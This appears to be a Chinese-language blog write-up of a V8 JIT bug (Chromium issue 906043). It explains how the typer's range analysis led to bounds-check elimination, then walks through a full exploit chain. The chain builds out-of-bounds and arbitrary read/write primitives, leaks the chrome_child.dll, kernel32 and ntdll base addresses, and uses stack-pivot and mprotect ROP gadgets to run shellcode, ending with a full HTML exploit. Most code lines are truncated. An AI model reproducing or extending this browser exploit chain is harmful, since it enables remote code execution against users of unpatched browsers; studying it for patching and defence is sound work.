参考链接
- https://bugs.chromium.org/p/chromium/issues/detail?id=906043
- https://chromium.googlesource.com/v8/v8/+/4e3a17d0408627517d4a81b3bf5daf85e416e9ac/test/mjsunit/regress/regress-crbug-906043.js
PoC
1 | // Flags: --allow-natives-syntax |
1 | a1: |
漏洞验证,边界检查被移除后的越界读写
1 | 1.1 |
Root Cause
在typer phase里对SpeculativeNumberShiftRight的range进行计算
1 | #72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #55:JSCreateArray) |
由于在typer phase还不会对Load处理,于是在第一次对NumberShiftRight进行range analysis的时候,会将其范围直接当做int32的最大和最小值。
1 | # define INT32_MIN ((int32_t)(-2147483647-1)) |
1 | Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) { |
于是在第一次对NumberShiftRight进行range analysis之后得到
1 | min lhs is -2147483648 |
然后在typer lowering phase里将JSCreateArray reduce成ArgumentsLength,并计算其范围。
1 | Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) { |
然后在load elimination phase里将多余的LoadField remove,直接替换成真正的值,ArgumentsLength
1 | #72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck) [Type: Range(-32768, 32767)] |
于是在simplified lowering phase里,为了修正这个SpeculativeNumberShiftRight的范围,于是再次对其进行typer计算。
1 | // Forward propagation of types from type feedback. |
由于这个结果被作为数组的index,所以最终在VisitCheckBounds里,会比较这个范围和数组最大的长度,如果始终index小于数组的length,那么就会将其remove掉。
1 | void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { |
exploit
得到任意地址读写和用户态对象leak的原语
通过a1的单次越界写改掉oob_double_Array的长度,将其改的很大,然后在后面放一个object Array。
1 | a1 = new Array(0x10); |
通过将要leak的对象放入object Array,然后通过oob_double_Array将该对象越界读出,得到的就是该对象的指针的double表示。
1 | function user_space_read(leak){ |
然后我们再new一个ArrayBuffer,通过oob_double_Array的越界写,可以改它的backing_store,于是就可以任意地址读写。
1 | oob_buffer = new ArrayBuffer(0x1000); |
这里有一个小trick就是,我们的oob_double_Array和ArrayBuffer的偏移是不固定的。
但是通过user_space_read,我们可以先leak出oob_double_Array和oob_buffer的地址,由于oob_double_Array的fixedArray与其偏移是固定的,而oob_buffer的backing_store和oob_buffer的偏移是固定的.
所以我们可以计算出这个偏移是多少。
得到chrome_child.dll的基地址
leak出一个blink对象div的地址,它偏移0x20的位置是HTMLDivElement对象,读出后,再读出它首部的虚表地址,然后减去和chrome_child.dll的偏移就是chrome_child.dll的基地址了。
1 | let div = document.createElement('div'); |
1 | 0:017> dq 0x00004c0eb3ea31f8 |
计算kernel32的基地址
1 | 0:016> x chrome_child!*CreateEventW* |
计算ntdll的基地址
1 | 0:016> x KERNEL32!*NtQueryEvent* |
寻找gadaget
栈劫持
1 | 00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h] |
search->sequence of bytes
mprotect
1 | // pop rcx ; ret 59 c3 |
1 | 0:016> u 00007ffb`45d6982c |
创建一块大的可读写空间,fake vtable和栈伪造,栈劫持和mprotect执行shellcode
1 | let scratch = new ArrayBuffer(0x100000); |
栈劫持之后,开始执行我们的mprotect gadaget,使shellcode所在的页可执行,然后跳转到shellcode执行
1 | let fake_stack = scratch_addr + new Int64(0x10000).asDouble(); |
完整exp
1 | <html> |